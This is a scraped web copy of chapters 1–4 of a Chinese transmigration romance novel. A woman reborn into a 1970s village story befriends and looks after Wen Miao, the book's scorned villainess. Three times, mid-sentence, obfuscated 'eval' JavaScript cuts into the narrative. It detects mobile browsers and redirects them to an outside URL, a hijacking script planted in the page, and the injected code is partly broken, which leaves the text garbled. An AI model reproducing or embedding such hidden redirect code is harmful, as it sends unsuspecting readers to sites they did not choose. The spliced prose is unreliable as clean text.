《年代文恶毒女配是我老婆》 1. 第 1 章 四月的邬远市格外潮湿,早上才落了一场雨,现在又淅淅沥沥的下起来了。 村里三月就开始翻地播种,到现在地里的活儿已经不剩多少,加上调来云水村的知青快到了,不少人都丢下锄头、铁锹,跑去村口看热闹。 前几年云水村踩了狗屎运,到今年才分了六个知青到他们村插队。 季白青是村里的记分员,她爹和村长一起去接知青,今天是替她爹下地干活,此时也随大流停下了手里的活,就着河边的水洗了把手后慢悠悠地往村口走。 作为因996猝死而穿书的社畜,她现在已经深刻掌握了摸鱼技巧,能少干就少干。 季白青,女,毕业之后在全国top50的公司兢兢业业上班,一路干到管理层,最后因为加班两天没睡,没等她把方案发给老板就猝死岗位了,终年28岁。 彻底阖上眼前,她在心里大喊了一声靠。 原本以为她就这么死翘翘了,但她却再次睁开了眼,发现自己又活了过来,陌生的记忆涌入大脑,整理一番后,她才知道自己是穿书了。 穿到了一本季白青最喜欢的年代甜宠文《娇娇知青心尖宠》里,而她穿的原主只是个在文中被一笔带过的路人甲。 重活一世,季白青只有一个想法,她再也不加班了! 在云水村呆了一年多时间,她适应得很快,虽然七十年代的生活条件有些艰苦,但她有个当村支书的爹和不肯吃一点亏的娘,她还是独女,生活过得滋润无比。 她爹在村里有一定威望,又供她读完了高中,这才得来了记分员这份轻松的活。 生活过得太安逸,以至于季白青差点忘了今天是什么日子,昨晚听她爹说要和村长就去镇上接知青回来,她才猛地想起来,今天正是全书开始的日子。 “白青,你快过来!” 季白青到的时候村口的大樟树下已经站了不少人,李雯雯站在角落对她兴奋地招手。 季白青弯唇一笑,大步走过去,站在李雯雯身边。 李雯雯是村长的女儿,也是季白青在村子里为数不多的朋友。 “也不知道我爹他们要什么时候才回来,白青,我听说插队的知青有几个是京市的,听说京市的人都可洋气了,你说有比你还漂亮的女孩儿吗?”李雯雯热切地挽着季白青的手,语气兴奋。 季白青现在的长相和以前出入不大,都是一张素白寡淡的瓜子脸,睫毛卷翘、鼻梁高挺、杏眼明亮,倒不算多好看,只是皮肤很白。 她想着书里对女主外貌的一大串描述,回道:“肯定有。” 除了女主的容貌,她最想要知道女配温淼的长相。 说起来,季白青在《娇娇知青心尖宠》这本书里最喜欢的角色不是男女主,而是恶毒女配温淼。 书中的温淼长相美艳却心狠手辣、睚眦必报,只因女主沈念念不小心将她的项链摔碎,就被她处处针对、百般设计,好在每次都有男主相救。 后来温淼想重回京市,在得知男主的真实身份后,看中了男主陆延背后所靠陆家的权势,屡次想要插足男女主的感情。 但陆延却对沈念念始终如一,对屡次勾引他的温淼视而不见,甚至因为她和女主之间的纠葛,买通村子里的二流子四处散布她私生活不检点的流言,云水村的村民对温淼避之不及,分外嫌恶。 温淼被众人孤立,对女主越发怨恨,将沈念念约到河边意图推女主下河,一时不察反而自己掉了下去,被村子里丧妻不久的张癞子当着众人的面救上来,看光了丰满的曲线。 迫于流言,只能和张癞子结婚,婚后被他打骂,最后在开放高考、男女主收到录取通知书后割腕自杀。 温淼下线那章的评论区一溜都在骂恶毒女配活该、自作自受,只有季白青看到了温淼死后觉得怅然若失,打了个负分,再也没有往后看。 书里书外的所有人都讨厌温淼,但季白青却只喜欢温淼,说不清是什么原因。 她一向平淡的生活是因为有了恶毒女配温淼的存在才有了波澜,连载的那段时间每天最期待的事就是在最新的章节看到温淼的身影。 她甚至想过给作者砸几十万,让她改写温淼的结局,但是作者没有丝毫动摇。 季白青想,其实温淼也并没有多坏、多恶毒,她只是……想要回家而已。 这么简单的一个心愿,却没有一个人能帮她完成。 恶毒女配下线的那段时间她心情低落,手下的员工也因为她的低气压战战兢兢,最后花了半年的时间才有所好转。 不止她和李雯雯两个人在聊即将到来的知青,其他村民也议论纷纷。 “听说知青来了之后上面拨给我们的粮食会变多。” “那也都是那些知青的!城里人不都娇滴滴的?这样该怎么干活?” “嘘!不要我们分粮食给他们就算好了!” …… 众人你一嘴我一嘴地说起来,突然远处传来了滚轮声,听着像是村长他们坐着牛车回来了,村民顿时住了嘴,踮着脚往前看。 车轮轱辘的声音越来越大,只见坐在前面的牛叔将牵绳一拉,最后稳稳停在了村口。 村长李向东和村支书季伟从牛车上跳下来,大声吆喝:“知青们,到地方了,快下车!” 季伟看着牛车上满满当当的行李和脸色疲惫苍白的知青,一时有些头疼。 也不知道这些知青都带了些什么东西,牛车上坐八九个人本来就勉强,还那么多行李,路上牛差点都走不动了。 三个男知青和女知青陆续下了牛车,李向东他们帮着把行李搬下来。 季白青站在一边,眼见着离她最近的一个女知青纤瘦身体摇摇欲坠,她不是多管闲事的性格,此时却下意识走上前,伸手扶住对方的肩膀。 面前的女知青穿着长袖长裤,脸被纱巾围了起来,只露出一双琉璃色的漂亮眼睛。 季白青拧着眉有些担心:“没事吧?能……” 话还没有说完,女知青的身体突然一软,整个身体倒在了季白青怀中。 “爹,这个知青晕倒了,我送她去卫生所!”季白青见状连忙将她打横抱起,和季伟交代了一声后连忙往卫生院赶。 急匆匆走在路上,季白青感受着手上的重量,心想,这女知青看着纤瘦,没想到抱起来的重量更轻。 到了卫生所,她将门推开,“婶子,有知青晕倒了,你快给看看!” 张婶子将房间的门打开,示意季白青把人放在床上。 她将知青脸上的纱巾摘下来,没了丝巾的遮挡,一张美艳至极的脸蛋露出来,屋内的两个人眼中都闪过一抹惊艳。 “乖乖,这小姑娘也太俊了。”张婶子咂舌。 简单检查了一番后,她松了一口气。 “大概是一路上太累了,还有点低血糖,白青啊,你给这丫头喂点糖水,再让她休息休息就好了。” 叮嘱完之后,张婶子回了堂屋坐班。 季白青腿脚快,回家拿了东西,兑好糖水就赶快回到了卫生所,给昏迷着的女人一点一点喂着糖水。 一碗温热糖水下去,女人原本苍白的面色好看了许多,眉心也舒展开,红唇湿润,那张白腻脸蛋越发显得娇艳欲滴,像是鲜妍的海棠花。 季白青的视线落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496222|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在女人左眼眼尾殷红的泪痣上,如果她没记错的话,这泪痣就是原书中女配的标志,作者每次写女配干坏事时,都要提一嘴她眼尾的泪痣。 温淼。 她将这个名字在嘴里过一遍,没忍住用手指轻轻碰了碰那颗小痣。 许是她手指冰凉,温淼嘤咛一声,像猫一样。 季白青心一跳,缩回了手,再看床上的人,还是阖着眼,睡得很安分。 轻轻捻了捻手指,她弯起唇,按住了狂跳的心口,在心里默默说了一句:温淼,很高兴能见到你。 盯着床上的人,她没多久就打了个哈欠,绵绵细雨砸在瓦片上,声音有些催眠,季白青摸鱼摸到底,干脆靠着墙闭上了眼睛。 也不知道过了多久,她耳朵微微一动,听见了一点动静,立马睁开了眼睛,对上了一双浅色的眸子。 是温淼醒了。 她看着自己,睫毛浓密纤长,披在肩头的长发打着卷,上挑的桃花眼中带着丝警惕,睁开眼要比睡着时要更美上几分。 季白青有些紧张,舔了舔唇,温声道:“你醒了?有没有哪里不舒服?” 温淼慢吞吞摇了摇头,悄悄将季白青上下打量一番。 是个穿着破旧的女人,面上带着对她的关切,温淼觉得有些奇怪……这人,是在讨好她吗? “这是哪?”她声音娇怯怯的,听着与恶毒女配的身份十分不相符。 季白青眉眼软下来,揉了揉耳朵,解释道:“我叫季白青,是云水村村支书的女儿,你刚才昏倒了,我就把你送到了卫生所。” 温淼咬了咬唇,压下内心的不安,看着面前的季白青轻声道谢:“谢谢你。” 季白青表面淡然地点了点头,内心却泛起了几分涟漪。 到底是谁在造谣温淼是坏女人?明明她这么有礼貌,还会向自己道谢。 温淼醒了,自然也知道不能占着卫生所的床位。 她坐起身来,在季白青的注视之下穿好鞋想要站起身来,没想到腿还在发软,随着惯性往前倒,最终跌进了季白青的怀里。 腰间是季白青为了不让她滑下去而揽紧的手,她下巴抵在对方的肩膀上,鼻尖萦绕着淡淡的皂角清香。 而季白青也嗅到了女人身上散发出来的馥郁香气,怀中人的身体柔软又纤细,丰满的胸脯压住了她的,贴的实在是太近了……一时间两人的脸颊都微红。 季白青结结巴巴开口:“那个……你现在能站稳了吗?” 温淼轻轻应了一声,站直了身体。 “我叫温淼。” 季白青看着她还有些泛白的唇,忽然想起了什么,从口袋里掏出一颗糖果放在掌心。 “温淼,张婶说你是低血糖,吃颗糖吧。” 女人低头看着那颗被糖纸包裹的大白兔奶糖,内心疑惑更甚,但还是从善如流地接过奶糖。 “谢谢你,季白青。”她可以察觉到,面前的人似乎对自己没有恶意。 直愣愣地看着温淼将奶糖含进嘴里,季白青才从刚才的美颜攻击中回过神来。 她藏在黑发下的耳尖微微发红,以后该让温淼多笑笑才行,她这么好看,笑起来的时候桃花眼弯起来,整张脸像是突然被注入了生机,显得明艳又妩媚。 她就知道,这样的温淼,怎么可能是恶毒女配呢? 辣鸡作者,污蔑大美人。 腹诽一番,季白青带着温淼往知青点走,中途悄悄看温淼精致的侧脸,定下了两个目标。 一是要和温淼成为朋友,让她不至于在云水村孤单一人。 二是要帮温淼回家,避免原书中的结局。 2. 第 2 章 季白青把温淼送到了知青点就离开了。 温淼站在原地,若有所思地盯着她的背影看了一会儿,随后才进了屋子里。 知青点实际就是一处破旧的土坯房子,面积不大,一共两间屋子,男女知青分别住一间,后院垒着澡间,前院是敞开的灶房。 温淼进门时只见沈念念和陆延站在一起不知道在说着什么,女人言笑晏晏,男人却面色冷峻。 她进门的动静也引起了两个人的注意,这是温淼首次露出真容,见陆延看着温淼的眼中有几分惊艳,沈念念掐着手心,掩饰住内心对她的妒恨,对温淼笑着关心道: “淼淼,你没事吧?你晕倒之后我和陆延还有其他知青们可担心你了。” 陆延见温淼外貌出众,对她一路上挑剔行为的不满也消散了些,矜持地点点头。 闻言,温淼只是淡淡看了眼沈念念,懒得搭理他们,直接进了左边的屋子——门没关,她看见了另一个女知青潘红霞在屋里。 陆延见自己被忽略,神色有些不悦,心里责怪沈念念刚才话里要带上自己,结果热脸贴了个冷屁股,也立马转身回屋子里了。 沈念念一个人站在原地咬着唇狠狠跺了跺脚。 进了房间后,潘红霞也和温淼打了声招呼,温淼对她倒是没有对沈念念的意见那么大,但也好不到哪去。 房间的面积不大,一个大通铺上睡三个人,沈念念她们提前占去了两个位置,剩下个窗边的位置,只是窗户玻璃开裂,屋顶的瓦片也能透光,一摸铺上的稻草,还是湿的。 温淼深吸了一口气,这时心里真的有些感激季白青给她的那颗糖了。 “屋顶漏雨,这要怎么睡?” 潘红霞坐在她的那一侧,也有些尴尬。 “原本方海洋他们说他们睡这间屋子,另一个房间不漏雨。但是沈念念说我们三个女生瘦,一起挤挤就淋不到雨了……” 听完后,温淼直接将沈念念的被子扔到窗边位置,将自己带来的行李铺开,慢慢整理。 整理的差不多时,沈念念开门,探个头进来,笑着说:“我快做好饭了,你们快出来吃饭吧。” 等她看清自己亲自挑好的位置上坐着温淼,而她的被褥被扔在了窗边漏水那块位置后,神色凝滞一瞬。 “温淼,这是我先占的位置,你把我的被褥扔在那是不是有点过分了?”沈念念看着温淼,咬牙询问。 温淼抬眼懒洋洋地睨了她一眼,眼尾上挑,刚才吃了些糕点垫肚子,现在脸上血色恢复了不少,本就明艳的外表显得越发有攻击性。 她扯了扯唇,“沈念念,不是你主动说我们住这间屋子吗?你发的话,那漏雨的地方自然也应该是你睡才对。” 沈念念看向她的眼神带上了些怨毒,再一转眼就看到了温淼放在枕头上那裂成两半的玉。 从京市到邬远市途径沪市,沈念念上车后座位恰好和温淼邻座,在火车上偶然发现温淼脖子上挂着一尾金鱼玉坠,雕刻的纹样精美,玉质上乘,犹如羊脂凝露,她一时好奇,想让温淼解下来给她看看。 哪里知道温淼小气到给她看看都不行! 沈念念从性格骄纵,但嘴却很甜,父母重男轻女,她却也能在他们手中过得滋润,越不能得到的东西越想要,于是便趁温淼睡着的时候,偷偷将她脖子上的项链解了下来。 原本她是拿着玉坠好好欣赏的,但一时手滑,将玉坠摔了,落在地上瞬间碎成两半。 而温淼醒来后,第一时间发现发现自己从小带到大的项链不见了,立马锁定了先前对她纠缠不止的沈念念,更别说沈念念一看向她眼中就带着心虚。 从她口袋里搜出来摔碎的玉佩后,温淼冷冷地看着沈念念,沈念念干脆破罐子破摔,理直气壮道: “谁让你不给我看的!如果你早点给我看就不会被我摔碎了!” 温淼直接当着火车上其他人的面,狠狠打了沈念念一巴掌,让她落了脸面。 她不在意别人的看法,就这样和沈念念结下了仇。 这几天在火车上,几个知青都可以看出来她们之间不对付。 既然温淼现在这么不给她面子,沈念念本就气在心头,直接冲过去抓起她枕头上的两块碎玉就往地上砸。 她恶狠狠道:“我先选的地方,你凭什么要抢我的?不就是仗着你长得漂亮吗?我们下乡比的可不是长相,你以为谁都要迁就你的脾气啊!” 温淼看着砸进泥地里瞬间落满灰尘的玉坠,缓缓将视线挪到了沈念念身上,眼神幽暗,深不见底,让人不寒而栗。 啪的一声,力道十足的巴掌再次落在了沈念念的脸上,她的脸瞬间高高肿起,往后踉跄几步跌坐在地。 沈念念捂着脸尖叫一声,泪瞬间淌了下来。 潘红霞在一边看的有些无措,呐呐道:“温淼、沈念念,你们别吵了……” 两个房间之间本就相隔不远,男知青们听见了动静,纷纷前来查看情况。 “沈知青,你们这是怎么了?” 吴严青站在门口,有些担心地往屋里看。 沈念念见到了来人,捂着脸颊,哭得梨花带雨,看起来好不委屈,但一边的两个女人一个像是树桩子般杵在一边,一个则是恨不得再打上几巴掌。 吴严青看见她哭花的小脸有些心疼,立马进了房间将她扶起来,“你们两个人一起欺负沈知青?” 沈念念立马止住了眼泪,委委屈屈道:“不是,是我自己不小心摔在了地上。” 听见了沈念念想为她们遮掩的话,吴严青更愤怒了,“那你脸上的伤呢?难道也是自己打的?” “沈知青,有什么委屈你说出来,我们给你做主。” 此时方海洋和陆延也进了房间,皱眉看着潘红霞和温淼二人,眼里全是冷漠的责备。 温淼弯腰将自己的东西捡起来,轻飘飘扫了他们一眼。 “你们几个大男人为什么要进我们女人的房间?” 方海洋原本被她清媚的眼神看的心神荡漾,此时听见她这样不给面子的话,瞬间不虞。 “这不是你们欺负沈知青,两个女人欺负一个小姑娘,也好意思。” 潘红霞在一边嗫嚅半天,脸都涨红了,才道:“不是我,我什么都没做。” 她悄悄往沈念的方向挪动,一瞬间,只剩温淼和其他五个人形成了对立的局面。 温淼指尖一僵,随后轻嗤,语气越发冷淡,“我就是欺负她了,怎么?你们还想要打我?” “你!”陆延在一边看着温淼这一副有恃无恐的模样也有些牙痒,指着她半天说不出一个字。 “陆知青,我只是想叫温淼她吃饭而已,没想到闹成了这样……唉,温知青肯定不是故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496223|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意的,你们别怪她。” 吴严青心疼沈念念,黑着脸哼了一声,“长得狐媚子样,还狼心狗肺,白瞎了这长相。” 温淼冷笑一声,“是啊,不像你不只长了一张猪脸,脑子也是猪脑。” “快滚,多看你们一眼都污染了我的眼睛。” 这一句话可算是把剩余四个知青都得罪了,但是又不能直接上手打温淼,最终五个人只能恨恨地出了房间,吃饭去了。 既然温淼是这个态度,那她就不配吃沈念念做的饭。 潘红霞离开之前悄悄看了眼温淼,注意到她的视线,温淼眼睛都没抬一下。 温淼在房间里将最后一点东西收拾好之后,摩挲着手中的玉坠。 这是她去世的母亲留给她的东西,她一直很珍惜,却在火车上被沈念念打碎了。 因此,她和沈念念不可能和平相处,至于其他人……温淼冷嗤一声,不过都是一群蠢货罢了。 她自小家世出众,众星捧月地长大,哪怕父亲李文宇再娶,还生下一个儿子,对她不管不顾,她也照样有外公一家照顾。 只是不小心中了他和后母的计,被设计下乡,没有一点挽回的余地。 将碎成两半的金鱼拼凑在一起,温淼心想,要找机会早点回家才行,不可能让李文宇他们一家过安生好日子。 她忽然想起今天的那个乡下女人,季白青,她说她是村支书的女儿。 …… 季白青给每个人登记完工分后就慢悠悠地回了家,刚走到家门口,就闻见了一股霸道的食物香味儿。 她鼻尖轻嗅,像是炖的鸡。 “娘,做的什么啊?好香啊。”季白青就走到灶房门口笑嘻嘻地开口。 何香月没好气地瞪了她一眼,“再嚷嚷大声点全村就都知道你家吃肉了!” 季白青摸了摸鼻尖,这个年代吃一次肉不容易,可耐不住她爹娘有本事,别人半年都吃不到肉,她家有时三天两头都能沾点荤腥,自然要藏着掖着低调点,不然少不了要被举报。 但季白青总归是他们家唯一一个孩子,何香月还是宠的,将灶房门关好之后再将锅打开,鸡肉和板栗的鲜甜香味瞬间迸发。 她给季白青捞上来一个鸡腿,“拿着鸡腿一边吃去,别烦我。” 季白青弯了弯眼睛,抱着何香月腻歪好一会儿。 要说她穿书最高兴的事有两件,一是可以见到温淼,二则是多了一对爱她的父母。 上辈子她是个孤儿,靠着自己孤身打拼,而穿到书里之后才感受到了有父母关爱的温暖。 她嗅着鼻尖的香味,忽然想起了温淼,原书中今天的剧情也随之回忆起来。 温淼会在今天被其他五个知青孤立,此后都是孤身一人行动。 想到这,季白青有些心疼,看着碗里的鸡腿,突然道: “娘,我今天认识了一个知青。” 何香月点了点头,“你爹和我说了。” 季白青:“我给她送点鸡肉过去吃行吗?你不知道,她可瘦了。” 何香月诧异看了季白青一眼,自己的女儿什么样她最清楚,平日里最有分寸了,外热内冷,哪怕是和她关系最好的李雯雯她也没有这么上心过。 “季白青,你上辈子是不是地主投胎?自己家都吃了上顿没下顿,还给别人带!”她没好气回道。 3. 第 3 章 最后季白青是拿着茶缸和水壶出门的,茶缸里装的是蒸好的糙米饭和香味浓郁的鸡肉,杯盖一盖,将食物香气稳稳锁住,水壶里则是灌着鸡汤。 何香月女士刀子嘴豆腐心,平日做事法风风火火,脾气火辣,但实际上有一副热心肠。 更何况是季白青主动提出的要求,她对唯一的女儿向来宠溺。 到了知青点,季白青敲了敲门,扫了眼屋子里坐着吃饭的众人,没有见到温淼。 倒是意料之中。 她道:“我找温淼。” 见来人是个穿着打着补丁粗布衣服的村姑,几人眼中不约而同闪过鄙夷。 只有潘红霞看了眼她手里拿着的东西,道:“温知青在屋子里。” 季白青便不再和他们浪费时间,敲了敲房间的门。 “温淼,我是季白青。” 房间里的温淼自然也听见了外面的动静,只是……季白青这个时候来找她做什么? 她看了看窗外的天色,已经是灰蒙蒙的一片了。 她打开门,蹙眉看着季白青,“什么事?” 季白青对她眨了眨眼,露出个浅笑,“我们进去说。” 说着,她也不顾温淼的意愿,从门缝挤了进去。 温淼见她自然地进来,一时间有些无语,最后还是将门给锁上了。 季白青找了个矮柜,将茶缸和水壶放上去。 “我给你带了点吃的,你还没吃饭吧?” 闻言,温淼微微一怔,她是来给自己送吃的? 为什么?季白青是在向自己示好吗? 其实她这么大以来,很多人主动向她示好。 温淼的长相太过张扬,艳丽灼人,天生自带让人不敢接近的气场,大部分人对她的第一印象就不好,也不会再去主动接近。 至于那些像狂蜂浪蝶一般主动靠近她的人,都是带有别的目的。 或是看上了她的钱,或是盯上了她身后的温家。 那季白青接近她是为了什么呢?温淼有些疑惑,难道是她已经知道了自己的真实身份? 如果是这样的话,那也不奇怪了。 猜测季白青别有所图,她反而是松了一口气。 毕竟只有知道对方对自己是有所图谋的时候,她才能够心安理得接受季白青的好意。 “没吃。” 季白青将茶缸盖子拿开,招呼温淼,“快过来吃,我娘刚做的,现在还热乎着呢。” 鸡肉板栗的香味瞬间溢满了房间,温淼一整天没吃饭,此时闻到这香味,没忍住咽了口口水。 想着温淼可能没准备好碗筷,她还顺带拿了双筷子和勺子。 季白青夹起一块鸡肉,凑到温淼嘴边,眉眼弯弯:“尝一口看看喜不喜欢。” 温淼犹豫了一会儿,最后还是就着她的手咬了一口。 鲜嫩的鸡肉还带着板栗的糯甜香气,让在路上凑合了好几天的温淼觉得更饿了。 即使她没说话,但也可以看出女人明显是喜欢的,那双媚人的眼睛微微眯起,唇角也翘起了一点弧度,像是一只嘴馋的狐狸。 季白青脑子里突然冒出个念头,好像狐狸就是喜欢吃鸡肉的。 她脸上的笑意加深了,往旁边挪了一步让她好吃饭。 “吃吧,温淼。” 温淼顶着季白青灼灼的眼神吃了起来,她在家吃的都是精米,粗米饭对她来说难免有些喇嗓子,好在季白青给她装的鸡肉和板栗多,她胃口小,吃些菜也能够饱。 季白青直勾勾地盯着温淼吃饭,只觉得她不仅长得漂亮,吃饭也很秀气,一举一动赏心悦目。 温淼吃完之后,拿手帕按了按唇角,抬眸对上了季白青温润的杏眼。 “温淼,你吃不惯粗米饭吗?” 季白青注意到饭没怎么动,看来她应该想办法多赚点钱和票,给温淼买精米了。 温淼点头,“我吃完了,季白青,现在你可以说了,你讨好我的目的是什么?” 她的话说的很直接,将对面的女人问得微微一愣。 季白青看清了温淼眼底的警惕,在心里微微叹了一口气,最后只能将自己的目的说出来。 她脸上微微有些羞赧,摸着鼻尖道:“……我想要和你做朋友。” “和我做朋友?”温淼差点没稳住神色,有些莫名地看着高自己半个头的女人。 讨好自己的原因是因为想要和自己做朋友? 温淼抿着唇,语气冷淡:“你别骗我,想要什么现在不说出来的话,以后就更没机会了。” 季白青被她强装冷淡的模样逗笑,身体微微向她靠近,手掌试探性地去抓住温淼的手腕,一冷一热的皮肤相接触。 “温淼,我说真的,我想和你做朋友。” 她看着面前的女人刚想要说点什么,但却被一阵敲门声打断。 “温淼,开门,我要进去!” 是沈念念的声音。 季白青有些可惜地将温淼的手放开,将带来的东西收拾好,嘱咐道:“温知青,水壶里是鸡汤,明天早上我给你带早饭。” 说完,她不顾温淼的反应,提着东西打开门与沈念念擦身而过,往家里走。 沈念念她今天也就煮了点米饭和青菜,清汤寡水的一餐没滋没味,一进屋子就闻到了余下的食物香气。 她狐疑地看着温淼,“你背着我们开小灶?” 温淼冷笑一声,“关你什么事?” 沈念念被她的话气的脸差点又歪了。 方海洋他们吃完了饭后就去将女知青房间漏雨的消息告诉村长,村长叫人将屋顶修缮一番后又通知他们明天就要和其他的村民一起上工。 知青们奔波一路,都累的不行,澡都没洗就直接睡了。 温淼倒是想洗个澡,可惜不会生火,在灶房里尝试了好几次都以失败告终,最终只能用冷水简单擦了擦身子。 第二天,季白青起得很早。 她想着早上给爹娘还有温淼做个包子,将今年攒的三斤富强粉用了一半,昨天何香月还去摘了荠菜,她调了荠菜鸡蛋、胡萝卜和青笋馅,一口气包了二十个包子。 将包好的包子放上蒸笼后,季白青背着背篓和村里其他小孩一起去后山割了一筐猪草,喂了猪回来后,蒸笼刚好在冒气。 再蒸上几分钟就熟了。 云水村允许村民开垦荒地,每家都有一块自己的菜地,上工前半小时季伟和何香月才从地上忙活回来。 把摘回来的白菜放到门口,何香月进到灶房,一看到灶上的蒸笼,眉心狠狠一跳,再一看,自己好不容易攒着的富强粉已经被用了一半。 “季白青!”她没忍住,大步流星走到季白青面前扯住她耳朵。 “你要死啊!这么糟蹋老娘存下来的好东西!” 季白青面上一片讨好,求饶道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496224|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “娘,我哪儿糟蹋东西了,不是都做成包子了。” 何香月狠狠瞪了她一眼,“我们一家三口人哪里能吃完?!” 季白青讪笑:“我……这不是要给我朋友带早饭。” “你哪来的朋友?我怎么不知道!对人家那么好哪天带她回来给我见见。” “我看你上辈子是大小姐,这辈子手缝才那么大。” “行了行了,有了朋友忘了娘,我管不了你了。”何香月摆了摆手。 最后季白青直接抱了上来,晃着她的手臂撒娇,“娘~我怎么会忘了你,只是她是我很好的朋友而已,刚来这里,又没人照顾……” 那语气直接把温淼形容成了个小可怜,何香月本就心软,也没想掺和季白青与她朋友间的事儿。 这年头粮食重要,但他们家还算富足,也不缺那点吃的,就随季白青高兴去了。 “行了行了,你看着点分寸。” 一家人一起就着酸菜送包子,季白青抓紧时间吃完饭,用油纸包上三个包子,就往仓库去了。 她是记分员,平时村里上工下工都要她登记出勤和工分。 因此,她手上还有一块季伟给她的破手表,专门用来看时间。 不过即使是破手表,在村里也算是独一份了,没几个人有,稀罕着呢。 快到八点的时候,陆陆续续有人来签字、领工具,随后去地里上工。 到了八点,那群知青才姗姗来迟。 看着面前的五个人,李村长站在一边道:“快签字,男知青和我去挑粪,女知青去地里拔草,以后记得来早一点,不然扣工分。” 面无表情看着他们签完了字,季白青想,温淼怎么还没有过来? 那群男知青对李村长的安排本来就有所不满,都是京市来的,谁都不想去干那脏活累活。 此时陆延突然出声,“村长,还有一个女知青没来。” 村长一愣,仔细一看确实发现少了个人。 “她人呢?” 沈念念咬了咬唇,欲言又止,最后还是开口道:“温知青应该不是想偷懒,她只是睡太熟了起不来了而已,不然村长你让她下午再来上工吧。” 潘红霞站在一边低着头没有说话,只是轻轻点了点头。 村长眉心一皱正想发作,季白青突然插话:“李叔,你带其他知青去上工吧,别耽误了干活,我去看看温知青。” 倒是这个理,村长一点头,“行,那白青你快去看看。” 季白青忽略掉其他知青怨恨的眼神,将登记出勤和公分的本子收好。 衣服口袋里装着的包子还有余热,季白青大步往知青点走,有些担心温淼。 按照她对温淼的了解,即使不想要上工,她也不会在第一天就缺席。 到了知青点,她敲了敲门,叫了声温淼的名字,没人回应。 最后季白青还是直接开门闯了进去,一眼看到了睡在床边的温淼,眉眼昳丽的女人面颊绯红,她伸出手一碰。 好热。 温淼好像发烧了。 这下季白青有些慌了,想要将手抽回来,抱温淼去卫生所,却被女人攥住了指尖,女人猫一样轻轻地蹭着她的掌心,吐出软绵绵的一个字。 “热。” 季白青心都快化了,看着女人脸上带着的几分娇弱,她轻哄: “温淼,乖一点,你发烧了,我带你去卫生所。” 4. 第 4 章 也不知道是不是被温淼听了进去,她抓着季白青手指的力道松了些,季白青松了口气,轻易抽出了手将她整个人打横抱起。 怀里的人轻飘飘的,没什么重量,季白青抱着她走到了卫生所没费丝毫力气。 张婶子见又是她们,有些惊讶: “这是又怎么了?” 季白青也有些无奈,“张婶,你快看看,她好像发烧了。” 拿体温计一量,确实是有些低烧,大概是长途跋涉太累,加上昼夜温差大,着了凉。 张婶给她吊了瓶药水,输了一半,温淼醒了过来,入目是有些熟悉的卫生所。 她眨了眨眼,刚想张口,却觉得喉间无比干涩,没忍住咳了一声。 季白青见她醒了,给她倒了一杯温水,“温淼,你醒了,饿了没?” 喝水润了喉,温淼清醒多了,听她这么问,垂着的睫毛轻轻一颤,点了点头。 见状,季白青眯眼笑了笑,将今早带来的包子打开递给她,包子还带着温度,现在吃也合适。 抓着手里暄软的包子,温淼说不出是什么感受,内心情绪有些复杂。 “谢谢。”温淼这辈子最有礼貌的时候都展现给了季白青,因为她毫无缘由的偏袒和关心。 季白青见她毛茸茸的长发,没忍住揉了揉,低声道:“没关系,我说过,我想和你做朋友,朋友之间应该相互照顾的。” 看着她小口啃着包子,季白青问:“怎么样,好吃吗?是我亲手做的。” 她有些挑食,每一个味道都咬了一口,看起来最喜欢吃芥菜的。 “我不喜欢吃胡萝卜。” “是吗?”季白青有些讶异,毫不犹豫将胡萝卜馅的包子拿过来,几口就下了肚,丝毫不在意这被温淼啃过。 温淼愣愣地看着她,脸上攀上一粉霞,咬着唇说不出话来。 她吃过的东西……季白青怎么能继续吃呢。 但看她的样子好像完全不在意,温淼只能将想说的话压在心底,或许是她想的太多了。 温淼吃了一个包子就饱了,剩下的季白青让她拿着饿了热热吃,她给温淼喂了药。 好在她只是低烧,吊完水后就退烧了,张婶让她回去休息一天。 知道温淼在知青点是被孤立的,季白青看了风情万种的大美人一眼,哄她:“去我家休息好不好?我给你做点好吃的补补身体,知青点的其他知青都是坏人,我怕他们欺负你。” 闻言,温淼微微有些愣怔。 过了好一会儿,她才开口询问,声音有些干涩:“你怎么知道他们都是坏人?” 季白青声音里带着理所当然:“你讨厌他们,他们就是坏人。” 温淼:“……如果我讨厌你呢?” 季白青弯起眼睛,沉静如水的黑眸中倒映出她的身影,“乖乖,你不会讨厌我的。” 温淼被她的眼神看的有些无所遁形,下意识挪开了眼神,语气有些恼怒:“谁说的?我就讨厌你!” 季白青跟上瘾似的再次揉了揉她的黑发,看她的眼神像是在看一只猫闹脾气。 “好了,既然你不拒绝我就当你是同意和我回家了。” 温淼身体还虚,下床后腿软,只能将头埋在季白青的胸口,被她抱回家。 鼻尖清香幽幽,一直到她被放在了床上才散了些。 